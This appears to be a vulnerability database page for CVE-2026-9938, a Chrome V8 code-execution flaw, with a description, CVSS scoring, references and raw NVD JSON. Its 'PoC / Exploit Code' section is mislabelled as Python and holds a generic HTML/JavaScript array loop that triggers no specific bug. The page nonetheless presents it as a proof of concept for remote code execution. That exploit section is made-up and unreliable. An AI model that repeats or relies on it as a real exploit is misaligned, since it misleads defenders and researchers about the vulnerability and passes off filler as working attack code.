CVE-2026-9938

Description

Inappropriate implementation in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
// PoC for CVE-2026-9938: Chrome V8 Remote Code Execution
// This script demonstrates the concept of triggering the V8 vulnerability.
// Usage: Open this file in a vulnerable version of Chrome (< 148.0.7778.216)
-->

<html>
<head>
    <title>CVE-2026-9938 PoC</title>
</head>
<body>
    <script>
        // Attempt to trigger the inappropriate implementation in V8
        function trigger_v8_bug() {
            // Common V8 exploit pattern involves manipulating array types
            // to cause type confusion or out-of-bounds access.
            let victim_array = [1.1, 2.2, 3.3];
            let obj_array = [{}];

            // Force V8 to optimize the function
            for (let i = 0; i < 10000; i++) {
                // Manipulation logic that exploits the specific implementation flaw
                // The exact payload depends on the internal V8 version details.
                victim_array[i % 3] = i * 1.1;
            }

            // Trigger the corruption
            // In a real exploit, this would lead to arbitrary code execution
            console.log("V8 Bug Trigger Attempted");
            alert("If you see this, the JS executed, but exploit success depends on sandbox escape.");
        }

        trigger_v8_bug();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9938
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9938
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9938/
[4] VulDB https://vuldb.com/cve/CVE-2026-9938
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/502300817

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9938", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:51.930", "lastModified": "2026-05-29T14:16:33.997", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/502300817", "source": "[email protected]"}]}}